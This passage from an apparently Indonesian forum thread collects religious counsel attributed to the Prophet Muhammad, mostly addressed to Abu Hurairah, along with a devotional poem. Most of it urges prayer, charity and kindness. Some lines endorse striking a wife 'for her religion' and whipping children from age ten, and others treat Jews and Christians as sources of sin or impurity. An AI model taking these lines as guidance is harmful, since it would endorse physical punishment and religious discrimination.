do’amu;&lt;br /&gt;Ya Allah, jadikanlah ia bagi kedua ibu-bapaknya sebagai pendahulu, jadiakan ia bagi keduanya sebagai simpanan, jadikanlah ia bagi keduanya sebagai bimbingan, jadikanlah dia bagi keduanya sebagai cahaya, jadikanlah dia bagi keduanya sebagai tabungan, iringilah orangtuanya dengan surga, janganlah halangi pahala keduanya, dan jangalha timbulkan fitnah bagi keduanya sepeninggal anaknya itu!.&lt;br /&gt;&lt;br /&gt;“Ya Ali! Apabila engkau berwudhu’ maka ucapkanlah:&lt;br /&gt;Ya Allah, aku mohon kepada-Mu kesempurnaan Wudhu’, kesempurnaan ampunan-Mu serta ridha-Mu.&lt;br /&gt;&lt;br /&gt;“Ya Ali! Perhatikanlah wasiatku ini baik-baik niscaya engkau berada dalam kebenaran dan kebenaran akan senantiasa bersamamu. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;2. Wasiat Nabi SAW kepada Abu Hurairah RA.&lt;br /&gt;&lt;br /&gt;Pad suatu ketika Rasulullah bertanya kepada sahabaatnya : “Siapakah diantar kalian yang akan menerima beberapa patah kata dari saya untuk diamalkan atau diajarkan kepada orang-orang yang akan mampu mengamalkannya?”&lt;br /&gt;&lt;br /&gt;“Saya Ya Rasulullah,” sahut Abu Hurairah sambil mengangkat tangannya. Kemudian Rasulullah memegang tangan Abu Hurairah dan beliau menghitung dari satu sampai lima, maka beliau bersabda :&lt;br /&gt;&lt;br /&gt;1. Jauhkanlah dirimu dari segala yang terlarang (haram), niscaya engkau akan menjadi&lt;br /&gt;orang yang paling abid berbakti diantara manusia.&lt;br /&gt;2. Bersikap relalah terhadap apa yang telah dibagikan Tuhan kepadamu, niscaya&lt;br /&gt;engkau akan kaya-raya.&lt;br /&gt;3. Berbuat kebajikanlah terhadap tetanggamu, niscaya engkau jadi orang mukmin&lt;br /&gt;sejati.&lt;br /&gt;4. Cinta kasihlah kepada manusia sebagaimana engkau sayang pada dirimu sendiri,&lt;br /&gt;niscaya engkau jadi orang Islam yang hakiki.&lt;br /&gt;5. Dan janganlah engkau terlalu banyak tertawa, karena kebanyakaan tertawa itu&lt;br /&gt;akan mematikan hati.&lt;br /&gt;&lt;br /&gt;Dan pada lain waktu Rasulullah memberikan wasiatnya pula pada Abu Hurairah yang antara lain bunyinya seperti ini:&lt;br /&gt;&lt;br /&gt;Hai Abu Hurairah! Apabila engkau bersetubuh dengan istri dan hamba sahayamu, maka ucapkanlah “Bismillah wal Hamdulillah”. Apabila engkau selalu memperhatikan hal ini, engkau akan beroleh kebajikan-kebajikan sampai engkau mandi junub. Apabila engkau telah selesai mandi junub, maka Allah mengampuni dosa-dosamu. Tetapi jika engkau memperoleh anak dari hasil senggama itu, maka telah ditulis kebajikan untukmu sebanyak kali nafas itu keluar, dan dihapuskan dosamu.&lt;br /&gt;&lt;br /&gt;Hai Abu Hurairah! Janganlah engkau jadikan hamba sahaya (pembantu)mu sedemikian takut kecutnya kepadamu. Ingatlah jika engkau mati sedang berbuat hal yang demikian itu niscaya engkau akan dituntut di hadapan Allah SWT.&lt;br /&gt;&lt;br /&gt;Hai Abu Hurairah! Jangan sekali-kali engkau meninggalkan (menceraikan) istrimu, melainkan sedang ia berada dirumahnya, janglah sekali-kali memukulnya dan mencaci-makinya kecuali demi untuk urusan agamanya. Jika engkau berlaku demikian, di dunia engkau berjalan di jalan raya, sedang di akhir akan dibebaskan Tuhan dari sentuhan api neraka.&lt;br /&gt;&lt;br /&gt;Hai Abu Hurairah! Singkirkanlah duri dari jalan yang akan dilalui orang yang lebih mulia daripadamu, yang lebih kecil daripadamu, labih baik daripadamu dan bahkan orang yang lebih buruk daripadamu. Jika engkau berbuat demikian, niscaya Allah membanggakan engkau kepada para malaikat-Nya, dan barangsiapa yang dibanggakan Allah kepada para malaikat-Nya, niscaya ia muncul pada hari kiamat dalam keadaan aman dari segala yang buruk.&lt;br /&gt;&lt;br /&gt;Hai Abu Hurairah! Sekiranya engkau menjadi Raja (Kepala Negara) atau menjadi menteri (pembantu raja), atau datang menghadap raja atau menjadi penasihat raja, maka janganlah engkau melampaui sirrah dan sunnahku. Karena sembarang raja manapun atau pembantu (menteri) raja manapun, atau siapapun yang datang menghadap kepada Raja atau penasihat raja yang menyalahi sirrah dan sunnahku, dia akan datang pada hari kiamat di kepung api neraka dari segala penjuru.&lt;br /&gt;&lt;br /&gt;Hai Abu Hurairah! Adil sesaat itu lebih baik daripada beribadah enam puluh tahun lamanya, yang malamnya berisi dengan sholat malam dan siang harinya dengan ibadah puasa.&lt;br /&gt;Hai Abu Hurairah! Katakanlah kepada orang-orang yang beriman yang pernah melakukan dosa-dosa kecil ataupun besar, janganlah mati salah seorang pun diantara mereka sedang ia masih bergelimang dengan dosa-dosa itu. Karena barang siapa yang menghadap Tuhannnya dalam keadaan yang demikian itu, maka siksaan atas dosa kecil yang terus menerus dilakukannya itu sama halnya dengan orang yang menghadap Tuhannya dalam keadaan berdosa besar yang terus menerus dikerjakannya pula.&lt;br /&gt;&lt;br /&gt;Hai Abu Hurairah! Sesungguhnya, bahwa engkau menghadap Tuhanmu dengan membawa dosa yang besar yang engkau telah taubat daripadanya lebih baik bagimu daripada engkau menemui-Nya padahal engkau telah mempelajari (menghafal) ayat-ayat Al-Qur’an kemudian engkau melupakannya.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Hai Abu Hurairah! Janganlah sekali-kali engkau melaknat (mengutuk) para pemimpinmu (Islam), karena Tuhan akan memasukkan suatu ummat ke dalam neraka jahanam dengan tersebab mereka telah mengutuk pemimpinnya.&lt;br /&gt;&lt;br /&gt;Hai Abu Hurairah! Janganlah engkau senang mencaci maki kecuali terhadap setan. Sesungguhnya jika engkau mati dalam keadaan yang demikian, tanganmu kelak akan dijabati (disalami) oleh semua Rasul Allah, para Nabi Allah dan orang-orang yang beriman sampai engkau melangkah ke dalam surga.&lt;br /&gt;&lt;br /&gt;Hai Abu Hurairah! Berilah makan kenyang anak yatim dan janda, dan berlakulah sebagai bapak yang pengasih dan penyayang kepada anak yatim, dan berlakulah sebagai suami yang penyantun terhadap wanita janda, niscaya engkau akan diberi ganjaran pada setiap tarikan nafas yang engkau nafaskan(tiup) selama hidup di dunia dengan sebuah mahligai di dalam surga. Setiap mahlighai lebih baik dari dunia ini dengan segala keindahan yang ada padanya.&lt;br /&gt;&lt;br /&gt;Hai Abu Hurairah! Berjalanlah engkau ke Masjid Allah di dalam kegelapan malam, niscaya engkau akan diberi Tuhan kebajikan-kebajikan dengan setimbang berat sesuatu yang telah engkau pijak dengan kedua kakimu dari apa-apa yang engkau cintai dan benci sampai pada tujuh petala bumi.&lt;br /&gt;&lt;br /&gt;Hai Abu Hurairah! Hendaklah engkau jadikan masjid –masjid, ibadah haji dan ‘umrah serta jihad fi sabilillah sebagai pusat perhatianmu. Sesungguhnya jikalau engkau mati dalam keadaan yang demikian itu, maka Allah SWT akan menghiburmu di dalam kubur, di hari kiamat, diwaktu menyebrangi Siratal Mustaqim, dan Dia (Allah) berbicara dengan engkau di dalam surga.&lt;br /&gt;&lt;br /&gt;Hai Abu Hurairah! Janganlah marah bila di katakan kepadamu “takutlah kepada Allah” padahal engkau telah bermaksud untuk berbuat kejahatan. Jika engkau melakukannya, maka ganjaran perbuatanmu itu adalah api neraka.&lt;br /&gt;&lt;br /&gt;Hai Abu Hurairah! Barangsiapa yang dikatakan orang kepadanya: “Takutlah kepada Allah” sedang ia marah terhadap hal itu, maka ia akan disuruh berdiri pada hari kiamat di suatu tempat di mana setiap ada malaikat yang lewat ia akan bertanya kepada orang itu: Engkaukah gerangan orang yang bila dikatakan kepadanya : Takutlah kepada Allah, ia menjadi marah? Padahal yang demikian akan mencelakakan diri sendiri. Oleh sebab itu jagalah dirimu dari bencana-bencana hari kiamat yang akan menimpamu!&lt;br /&gt;&lt;br /&gt;Hai Abu Hurairah! Berbuatlah kebajikan dengan apa yang telah dikaruniakan Tuhan kepadamu. Karena barang siapa yang berlaku jahat (menyalahgunakan apa yang telah dikaruniakan Tuhan kepadanya) maka sesuatu itu akan menghalanginya kelak di atas titian Siratal Mustaqim dengan bergantung kepadanya. Betapa banyaknya orang mukmin yang diseret ke titian Siratal Mustaqim sebagai pembalasan (qishash)!.&lt;br /&gt;&lt;br /&gt;Hai Abu Hurairah! Hendaklah setiap mukmin melakukan sholat di waktu tengah malam walaupun sekedar memerah susu kambing (sebentar). Dan barangsiapa yang mengerjakan sholat malam karena mengharapkan ridha Allah SWT niscaya Allah SWT rela kepadanya dan menyampaikan hajat maksudnya di dunia maupun di akhirat. Maka menukaslah Abu Hurairah dengan bertanya; “Ya Rasul Allah” Pada saat-saat malam yang manakah sholat itu lebih afdhol?” “Pada pertengahan malam,” jawab Rasulullah SAW.&lt;br /&gt;&lt;br /&gt;Hai Abu Hurairah! Jika engkau mampu menghadap Tuhan dengan punggung yang ringan (tanpa beban) karena tak ada sangkut paut dengan urusan darah kaum muslimin, harta benda mereka dan kehormatan mereka, maka cobalah berbuat demikian, niscaya kelak engkau menjadi awal orang yang dihampiri Tuhan (muqorrobin).&lt;br /&gt;&lt;br /&gt;Hai Abu Hurairah! Dan janganlah engkau jadikan seseorang di antara makhluk Allah sebagai perantara dengan Tuhan Al-Khalik, maka kelak Allah menjadikanmu pula sebagai perantara dari bencana api neraka pada hari kiamat kelak.&lt;br /&gt;&lt;br /&gt;Hai Abu Hurairah! Apabila disebut-sebut orang neraka jahanam, maka mohonlah kepada Tuhan supaya engkau dijauhkan darinya. Dan hendaklah hati dan jiwamu meratap karenanya dan bulu romamu meremang karenanya, niscaya Allah akan menjauhkanmu darinya.&lt;br /&gt;&lt;br /&gt;Hai Abu Hurairah! Apabila engkau rindu kepada Surga, maka mintalah supaya engkau mendapat bagian darinya. Dan hendaklah hatimu lunak-lembut karena merindukannya, dan kedua air matamu menetes dalam keadaan engkau percaya kepada-Nya, niscaya kelak Allah SWT memberikan surga itu kepadamu dan Dia tidak akan menolak permintaanmu.&lt;br /&gt;&lt;br /&gt;Hai Abu Hurairah! Jika engkau bermaksud untuk tidak berpisah dengan aku pada hari Kiamat sehingga engkau tetap bersamaku disurga, maka cintailah aku dengan rasa cinta yang sedemikian rupa hingga engkau tidak dapat melupakan aku. Relalah engkau dengan rezeki yang dikaruniakan Tuhan, karena barangsiapa yang meninggalkan dunia itu padahal ia rela dengan pembagian yang telah diberikan Tuhan padanya, maka ia berpulang ke alam baka dengan kerelaan Tuhan pula. Dan barangsiapa yang Tuhan rela kepadanya, maka surgalah tempat ia kembali. &lt;br /&gt;&lt;br /&gt;Hai Abu Hurairah! Suruhlah orang berbuat kebaikan dan laranglah ia berbuat yang munkar. Abu Hurairah bertanya: “Bagaimana aku melaksanakan amar makruf dan nahi munkar?” “Beritahukan manusia tentang kebijaksanaan itu dan ajarkanlah kebajikan itu kepada mereka,” jawab Rasulullah.&lt;br /&gt;&lt;br /&gt;Dan apabila engkau melihat orang melakukan perbuatan maksiat, durhaka kepada Allah SWT, maka janganlah engkau takut akan cambuk dan pedangnya; janganlah engkau pergi meninggalkan orang itu sebelum engkau berkata kepadanya “Takutlah engkau kepada Allah!”&lt;br /&gt;&lt;br /&gt;Hai Abu Hurairah! Pelajarilah Al-Qur’an dan kemudian ajarkanlah pulalah Al-Qur’an itu kepada orang banyak sampai engkau meninggalkan dunia ini, dan senantiasalah engkau berbuat demikian. Jika demikian halmu akan berdatanganlah para malaikat ke kuburmu dan mereka memberi selawat dan memohonkan ampun bagimu sampai hari Kiamat seperti halnya orang-orang yang beriman beramai-ramai pergi haji ke Baitullah ‘Azza wa Jalla.&lt;br /&gt;&lt;br /&gt;Hai Abu Hurairah! Temuilah kaum muslimin dengan wajahmu yang cerah dan berjabat tanganlah dengan mereka dengan mengucapkan salam. Jika engkau mampu berbuat demikian dimana saja engkau berada, maka sesungguhnya para malaikat tetap bersamamu selain untuk menjaga keselamatan engkau, mereka juga memohon ampunan untuk engkau. Ketahuilah! Barangsiapa yang meninggalkan dunia ini di bawah permohonan ampun para malaikat, niscaya Allah memberi ampun bagi dosanya.&lt;br /&gt;&lt;br /&gt;Hai Abu Hurairah! Jika engkau ingin mendapat nama yang harum di dunia dan akhirat, tahanlah lisanmu dari mempergunjingkan orang. Karena barangsiapa yang tidak mempergunjingkan orang, niscaya Allah menolongnya di dunia dan akhirat.&lt;br /&gt;Adapun pertolongan-Nya di dunia ini ialah, bahwa tidak ada seorangpun yang dapat mengganggunya, melainkan para malaikat membohongkan mereka yang bermaksud tidak baik terhadap dirinya itu. Dan tentang pertolongan Allah di hari akhirat, ialah kemaafan Tuhan dari kejahatan yang telah dilakukannya serta menerima amal kebajikan yang telah dilakukannya selama ini.&lt;br /&gt;&lt;br /&gt;Hai Abu Hurairah! Segeralah pagi-pagi beramal pada jalan Allah niscaya Allah menghamparkan rezeki-Nya untuk engkau.&lt;br /&gt;ashura42 is offline Add to ashura42's Reputation Report Post Report Post      Multi-Quote This Message&lt;br /&gt;&lt;br /&gt;Hai Abu Hurairah! Hubungkanlah kasih sayang antara sesamamu, niscaya rezekimu berdatangan dari jurusan yang tidak terduga. dan pergilah naik haji ke rumah Allah (Baitullah), niscaya Allah mengampuni dosamu walaupun separuh tanah Haram (Mekkah).&lt;br /&gt;&lt;br /&gt;Hai Abu Hurairah! Merdekakanlah hamba sahaya, niscaya Allah membebaskan anggota tubuh engkau (dari sentuhan api neraka) dengan tiap-tiap anggotanya, dan engkau akan beroleh derajat yang berlipat ganda.&lt;br /&gt;&lt;br /&gt;Hai Abu Hurairah! Kenyangkanlah orang lapar, niscaya engkau beroleh pahala sebanyak kebajikan yang telah dilakukannya, dan kebajikan-kebajikannya setelah ia kenyang; tetapi tidak ada sesuatupun keburukan-keburukan yang dilakukannya akan menimpa engkau.&lt;br /&gt;&lt;br /&gt;Hai Abu Hurairah! Janganlah engkau pandang rendah sesuatu perbuatan yang makruf yang engkau kerjakan. dan walaupun engkau menuangkan timbamu yang berisi air ke dalam bejana orang yang kehausan, maka hal itu adalah sesuatu perkara kebajikan, dan kebajikan itu besar maupun kecil ganjarannya adalah surga.&lt;br /&gt;&lt;br /&gt;Hai Abu Hurairah! Perintahkanlah keluargamu mengerjakan sholat, karena Allah SWT mendatangkan rezeki kepadamu dari jurusan yang tidak disangka-sangka. dan janganlah ada di rumahmu jalan masuk setan.&lt;br /&gt;&lt;br /&gt;Hai Abu Hurairah! Apabila bersin saudaramu sesama muslim, maka tasymit do'akanlah dia.&lt;br /&gt;Untuk itu bagimu telah ditentukan duapuluh pahala kebajikan. Aku (Abu Hurairah0 bertanya; "Demi ayahku, engkau dan ibuku, bagaimana bisa demikian?" Nabi menjawab: "Sesungguhnya dikala engkau mengucapkan padanya: "Yahhimakallah" (semoga Tuhan memberi rahmat kepada engkau) dituliskan untukmu sepuluh kebajikan, dan dikala engkau mengucapkan padanya: "Yahdikallah" (semoga Tuhan memberi petunjuk padamu) maka dituliskan untukmu sepuluh pahala lagi.&lt;br /&gt;&lt;br /&gt;Hai Abu Hurairah!Hendaklah engkau minta ampunkan kaum muslimin dan muslimat, mukminin dan mukminat, karena mereka semua dapat mendorong safaat bagi engkau kelak, dan engkau akan beroleh pahala seperti pahala yang akan di dapat mereka tanpa kurang sedikitpun juga.&lt;br /&gt;&lt;br /&gt;Hai Abu Hurairah! Jika engkau ingin terpandang di sisi Tuhan, terpandang sebagai teman Allah, maka percayalah kepada semua Rasul Allah para Nabi Allah serta semua kitab-Nya.&lt;br /&gt;&lt;br /&gt;Hai Abu Hurairah! Jika engkau berharap tubuhmu diharamkan dari sentuhan api neraka, maka bacalah di kala pagi dan petang:&lt;br /&gt;&lt;br /&gt;"Tiada Tuhan selain Allah sendiriNya, tiada sekutu bagiNya, dan tiada daya dan kekuatan kecuali dengan Allah!&lt;br /&gt;&lt;br /&gt;Hai Abu Hurairah! Tidak halal bagimu masuk ke tempat orang yang sedang berada dalam seratul maut sekalipun ia seorang Nabi sehingga ia mengajarkan terlebih dahulu kepada orang itu kalimah syahadah: La ilaha Illallah.&lt;br /&gt;&lt;br /&gt;Hai Abu Hurairah! Barangsiapa mengajarkan (mentalkinkan) kepada orang yang sakit dalam sekarat-maut kalimat syahadah : "La ilaaha Illallah wahdahu laa syarikalah", sehingga kalimat itu diucapkan pula oleh si sakit, ia akan memperoleh sekalian kebajikannya. Tetapi apabila si sakit tidak mengucapkan kalimat syahadah itu, maka ia akan memperoleh pahala kebajikan orang yang memerdekakan budak dengan kalimah "Laa ilaaha Illallah" yang telah diucapkannya terhadap si sakit &lt;br /&gt;&lt;br /&gt;Kalau boleh saya turut nyumbang dikit maaf kalau sedikit menyimpang&lt;br /&gt;Sebuah Hadits oleh Jalaluddin al-Suyuthi dalam al-Durr Al-Mantsur meriwayatkan kerinduan Rasulullah kepada umatnya yg diubah dalam puisi :&lt;br /&gt;&lt;br /&gt;Dini hari di Madinah Al Munawwarah&lt;br /&gt;Kusaksikan para sahabat berkumpul di masjidmu&lt;br /&gt;Angin sahara membekukan kulitku&lt;br /&gt;gigiku gemertak , kakiku berguncang&lt;br /&gt;Tiba-tiba pintu hujrah-mu terbuka&lt;br /&gt;Engkau datang ya Rasul Allh&lt;br /&gt;Kupandang dikau :&lt;br /&gt;Assalamu' alaikum ayyuhan Nabi wa rahmatullah&lt;br /&gt;Assalamu' alaikum ayyuhan Nabi wa rahmatullah&lt;br /&gt;Kudengar salam baersahut-sahutan&lt;br /&gt;Kau tersenyum , ya Rasul Allah&lt;br /&gt;wajahmu bersinar&lt;br /&gt;angin sahara berubah menjadi hangat&lt;br /&gt;Cahayamu menyelusup seluruh daging dan darahku&lt;br /&gt;Dini hari Madinah berubah menjadi siang yang cerah&lt;br /&gt;Kudengar Engkau berkata :&lt;br /&gt;Adakah air pada kalian ?&lt;br /&gt;Kutengok cepat ghribahku&lt;br /&gt;Para sahabat sibuk memperlihatkan kantong kosong&lt;br /&gt;Tidak ada setetes pun air ya Rasul Allah&lt;br /&gt;Kusesali diriku mengapa tak kucari air sebelum tiba di masjidmu&lt;br /&gt;Duhai bahagianya,jika kubasahi wajah dan tanganmu&lt;br /&gt;dengan percikan air dari gharibahku&lt;br /&gt;Kudengar suaramu lirih&lt;br /&gt;Bawakan wadah yg basah&lt;br /&gt;Aku ingin meloncat mempersembahkan gharibahku&lt;br /&gt;Tapi ratusan sahabat berdesakan mendekatimu&lt;br /&gt;Kau ambil gharibah kosong, Kau celupkan jari-jarimu&lt;br /&gt;Subhanallah, kulihat air mengalir dari sela-sela jarimu&lt;br /&gt;Kami berdecak , berebut berwudhu dari pancuran sucimu&lt;br /&gt;Betapa sejuk air itu , ya Rasul Allah&lt;br /&gt;betapa harum air itu , ya Nabi Allah&lt;br /&gt;betapa lezat air itu , Ya habib Allah&lt;br /&gt;Kulihat Ibnu Mas'ud mereguk sepuas-puasnya&lt;br /&gt;Qad qamatish shalah , Qad qamatish Shalah&lt;br /&gt;Duhai bahagianya Shalat di belakangmu&lt;br /&gt;Ayat-ayat Suci mengalir dari suaramu&lt;br /&gt;melimpah memasuki jantung dan pembuluh darahku&lt;br /&gt;Usai shalat kau pandangi kami&lt;br /&gt;Masih dengan senyum yg sejuk itu&lt;br /&gt;Cahayamu, ya Rasul Allah , tak mungkin kulupakan&lt;br /&gt;Ingin kubenamkan setetes diriku dalam samudra dirimu&lt;br /&gt;Ingin kujatuhkan sebutir debuku dalam sahara tak terhinggamu&lt;br /&gt;Kudengar Kau berkata lirih :&lt;br /&gt;Ayyul Khalqi a'jabu ilaikum imanan ?&lt;br /&gt;Siapa Makhluk yang imannya paling mempesona ?&lt;br /&gt;Malaikat , ya Rasul Allah&lt;br /&gt;Bagaimana malaikat tak beriman, Bukankah mereka berada disamping Allah ?&lt;br /&gt;Para Nabi, Ya Rasul Allah&lt;br /&gt;Bagaimana nabi tak beriman, Bukankah kepada mereka turun wahyu Allah ?&lt;br /&gt;Kami, para sahabatmu&lt;br /&gt;Bagaimana kalian tidak beriman, bukankah aku ditengah-tengah kalian ?&lt;br /&gt;Telah kalian saksikan apa yg kalian saksikan.&lt;br /&gt;Kalau begitu, siapakah mereka ya Rasul Allah ?&lt;br /&gt;Langit Madinah bening&lt;br /&gt;Bumi Madinah Hening&lt;br /&gt;Kami Termangu&lt;br /&gt;Siapa gerangan mereka yang imannya paling mempesona ?&lt;br /&gt;Ku tahan Napasku, Kuhentikan jantungku, kudengar sabdamu&lt;br /&gt;Yang paling menakjubkan imannya mereka yang datang sesudahku , beriman kepadaku&lt;br /&gt;Padahal tidak pernah melihatku dan berjumpa denganku&lt;br /&gt;Yang paling mempesona imannya mereka yang tiba setelah aku tiada, yg membenarkanku&lt;br /&gt;tanpa melihatku, Mereka adalah saudaraku.&lt;br /&gt;Bukankah kami ini Saudaramu juga , ya Rasul Allah ?.&lt;br /&gt;Kalian Sahabat-sahabatku&lt;br /&gt;Saudaraku adalah mereka yg tidak pernah berjumpa denganku&lt;br /&gt;Mereka beriman kepada yg ghaib, mendirikan shalat. menginfakkan sebagian rezekinya.&lt;br /&gt;Kami terpaku&lt;br /&gt;Langit Madinah Bening, bumi Madinah hening&lt;br /&gt;kudengar lagi engkau berkata :&lt;br /&gt;Alangkah bahagianya aku memenuhi mereka&lt;br /&gt;Suaramu parau, butir-butir air matamu tergenang&lt;br /&gt;Kau rindukan mereka , ya Rasul Allah&lt;br /&gt;Kau dambakan pertemuan dengan mereka ya Nabi Allah&lt;br /&gt;Assalamu'alaikum ayyuhan Nabi wa rahmatullahi wa barakatuh&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Hai Abu Hurairah! Talkinkanlah orang yang akan mati dengan syahadah : "Laa ilaaha illallah Rabbighfirli," makan kalimah itu akan meruntuhkan ratakan segala dosa.&lt;br /&gt;&lt;br /&gt;Aku (Abu Hurairah) bertanya: "Ya Rasulullah, Ini adalah untuk orang yang akan mati, maka bagaimanakan terhadap orang yang masih hidup?" Di tentu lebih meruntuh-ratakan lagi dosa itu" jawab Rasulullah.&lt;br /&gt;&lt;br /&gt;Hai Abu Hurairah! Jika engkau mampu menurunkan hujan dari langit dengan melakukan sholat dua rokaat (Istisqa), maka engkau akan memperoleh pahala kebajikan-kebajikan sebanyak tetesa hujan yang turun dari langit, dan sebanyak helai daun yang tumbuh akibat hujan itu.&lt;br /&gt;&lt;br /&gt;Hai Abu Hurairah! sedekahkanlah air, karena tak seorangpun yang berwudhu' dengannya melainkan engkau memperoleh kebajikan seperti yang diperolehnya sendiri, tanpa kurang sedikit pun juga.&lt;br /&gt;&lt;br /&gt;Hai Abu Hurairah! Tahukah engkau bahwa seseorang lelaki diampuni Tuhan dosanya, hanya karena ia telah mananam rumput hijau, kemudian datanglah binatang sehingga rumput itu dimakannya.&lt;br /&gt;&lt;br /&gt;Hai Abu Hurairah! Ucapkanlah kepada manusia kata-kata yang baik, niscaya engkau beroleh bahagia pada hari Kiamat.&lt;br /&gt;&lt;br /&gt;Hai Abu Hurairah! Jenguklah orang miskin yang kafir maupun muslim! maka jika engkau jenguk orang kafir yang miskin, niscaya Allah SWT memberi rahmat untukmu. Adapun pahalamu jika engkau menjenguk muslim yang miskin, tak dapat saya lukiskan kebaikannya.&lt;br /&gt;&lt;br /&gt;Hai Abu Hurairah! Jika engkau berada dalam lingkungan keluarga ayahmy, ibumu atau anakmu, maka tak boleh engkau menyedekahkan hartanya kecuali dengan izinnya.&lt;br /&gt;&lt;br /&gt;Hai Abu Hurairah! Tidaklah halal bagimu harta istrimu yang telah engkau berikan padanya, kecuali sesuatu yang diberikannya kepadamu dengan sukarela tanpa engkau minta. Demikian, karena firman Allah yang artinya berbunyi: "Maka jika mereka (istri) itu berbuat baik kepadamu dengan memberikan sesuatu miliknya kepadamu, maka makanlah dengan lezat dan puas." (An-Nisa : 4)&lt;br /&gt;&lt;br /&gt;Hai Abu Hurairah! Katakanlah kepada kaum istri, bahwa tidak halal bagi mereka menyedekahkan sesuatu benda yang ada dalam rumah suami mereka, kecuali segala sesuatu yang basah (tidak tahan lama: pisang, pepaya, apel dsb) yang mereka khawatirkan rusak dan busuk bila suaminya tidak ada di rumah.&lt;br /&gt;&lt;br /&gt;Hai Abu Hurairah! Ajarkan sunnahku pada manusia, niscaya wajahmu beroleh nur yang terang benderang pada hari kiamat yang girang-gembira melihatmu baik orang-orang yang dahulu maupun orang-orang yang kemudian.&lt;br /&gt;&lt;br /&gt;Hai Abu Hurairah! Jadilah engkau muadzin atau Imam! Karena bila engkau angkat suaramu itu naik membumbung tinggi sampai ke Arasy, maka tidak melewati suaramu akan segala sesuatu, melainkan tiap-tiap suara beroleh sepuluh kebaikan. Dan apabila engkau bertindak menjadi imam, engkau akan beroleh pahala sebanyak pahala orang yang sholat menjadi makmum di belakang engkau tanpa dikurangi sedikitpun jua, kecuali jika engkau menjadi imam yang berkhianat. Aku (Abu Hurairah bertanya; "Hai Rasul Allah! Bagaimana imam yang berkhianat itu?" Rasul menjawab; "Apabila engkau mengkhususkan do'a hanya hanya untuk engkau sendiri tanpa menyertakan mereka, maka berarti engkau telah mengkhianati mereka".&lt;br /&gt;&lt;br /&gt;Hai Abu Hurairah! Ajarkan anak-anak keluargamu dengan lisanmu agar supaya mereka mengerjakan sholat dan bersuci. tetapi apabila mereka telah sampai berumur sepuluh tahun, maka lecutlah, akan tetapi jangan sampai melebihi tiga&lt;br /&gt;&lt;br /&gt;Hai Abu Hurairah! Perhatikanlah nasih Ibnu Sabil (mahasiswa-pelajar, perantau2 yang terlanta hidupnya, pen) maka bawalah ia ke rumahmu atau ke rumah sanak familimu niscaya engkau ditemani malaikat waktu engkau menyebrangi Shiratal Mustaqim.&lt;br /&gt;&lt;br /&gt;Hai Abu Hurairah! Temanilah duduk kaum fakir miskin, karena rahmat Allah tidak jauh dari mereka sekejap matapun.&lt;br /&gt;&lt;br /&gt;Hai Abu Hurairah! Janganlah engkau sebarkan duri di jalanan yang dilewati kaum muslimin untuk menyakiti mereka. karena barang siapa yang menyakiti kaum muslimin di jalan-jalan yang dilalui mereka, maka ia akan dicaci maki oleh orang islam dan malaikat.&lt;br /&gt;&lt;br /&gt;Hai Abu Hurairah! Bila engkau bertemu dengan sesuatu rintangan (lubang) di jalan, maka timbunlah dengan tanah, niscaya Allah menutupi dosamu di hari kiamat.&lt;br /&gt;&lt;br /&gt;Hai Abu Hurairah! Apabila engkau membimbing orang buta, peganglah tangan kirinya dengan tangan kanan engkau, dan itu berarti suatu sedekah.&lt;br /&gt;&lt;br /&gt;Hai Abu Hurairah! Barangsiapa yang berjalan satu mil dengan menuntun orang buta, maka ia akan beroleh pahala setiap hasta yang dilangkahkannya sampai kelak Allah SWT memperdengarkan kepadanya apa yang menggembirakannya di hari kiamat.&lt;br /&gt;&lt;br /&gt;Hai Abu Hurairah! Janganlah engkau turut menuntun orang Yahudi ke Synagog (rumah ibadahnya), jangan pula orang Nasrani ke gerejanya, orang Sabiin ke kuilnya, orang majsi ke rumah api (klenteng)nya, dan orang musyrik ke rumah berhalanya, maka kalau engkau berbuat demikian, niscaya dituliskan Tuhan bagimu kesalahan seperti dosa-dosa mereka sampai ia kembali pulang dari tempat-tempat tersebut.&lt;br /&gt;&lt;br /&gt;Hai Abu Hurairah! Bimbinglah para hamba Allah ke masjid-masjid Allah, ke tanah suci dan ziarah ke kuburku, niscaya engkau akan beroleh pahala seperti pahala-pahala yang didapat mereka tanpa kurang sedikitpun.&lt;br /&gt;&lt;br /&gt;Hai Abu Hurairah! Sampaikanlah kepada kaum wanita, bahwa mereka tak usah ziarah ke kuburku, tetapi kewajiban mereka adalah melakukan ibadah haji ke Baitullah, yakni apabila ada mahramnya. Dan kalau tidak demikian, maka mereka tak boleh pergi. Aku (Abu Hurairah) bertanya: Ya Rasul Allah, sekalipun wanita itu telah merupakan tunggul pohon (tak ada daya tariknya)?" Ya, sekalipun wanita itu telah merupakan tunggul pohon (khasyafah) yang tidak ada daya tariknya lagi," jawab Rasulullah.&lt;br /&gt;&lt;br /&gt;Hai Abu Hurairah! Jika engkau mampu berbuat, bahwa janganlah ada hendakna seorang zalimpun yang dapat berbuat terhadap dirimu, baik dengan tangan maupun dengan lisannya. Aku senang bila engkau dapat berbuat demikian. Silahkan!&lt;br /&gt;&lt;br /&gt;Hai Abu Hurairah! Janganlah ada seorang pun diantara para pemimpin (pemerintah)mu kecuali ia orang yang adil sebagaimana engkau sendiri bersikap adil. Tetapi jika engkau telah bersikap adil, padahal tetanggamu tidak, adalah engkau temannya dalam dosa, tetapi tidak menjadi temannya dalam pahala.&lt;br /&gt;&lt;br /&gt;Hai Abu Hurairah! Jika engkau mempunyai harta benda yang telah wajib dizakatkan, maka keluarkanlah zakatnya. Maka apabila harta itu ditimpa bencana dan engkau telah mengeluarkan zakatnya satu kali, maka memadailah itu sampai hari kiamat.&lt;br /&gt;&lt;br /&gt;Hai Abu Hurairah! Apabila engkau bertemu dengan orang-orang yahudi dan Nasrani, maka janganlah engkau jabat tangannya selagi dalam keadaan berwudhu. Maka jika engkau berbuat demikian ulangilah wudhu'mu kembali. &lt;br /&gt;&lt;br /&gt;Bismillahirrahmaanirrahiim&lt;br /&gt;&lt;br /&gt;Hai Abu Hurairah! Janganlah engkau panggil seseorang itu dengan kata-kata: yahudi, nasrani, dan majusi, tetapi sebutlah dengan namanya masing-masing, karena demi Allah, engkau berarti telah menghinanya dengan sebutan yang demikian itu. Tetapi sebaliknya juga tidak halal bagimu memuliakannya sedemikian rupa, karena bagi mereka cukup perjanjian dan jaminan, bahwa harta mereka tidak akan diambil kecuali dengan kerelaan hati masing-masing. Janganlah engkau memasuki rumah-rumah mereka kecuali dengan izin mereka, dan jangan engkau berada di tengah-tengah mereka dan anak-anak mereka, dan janganlah 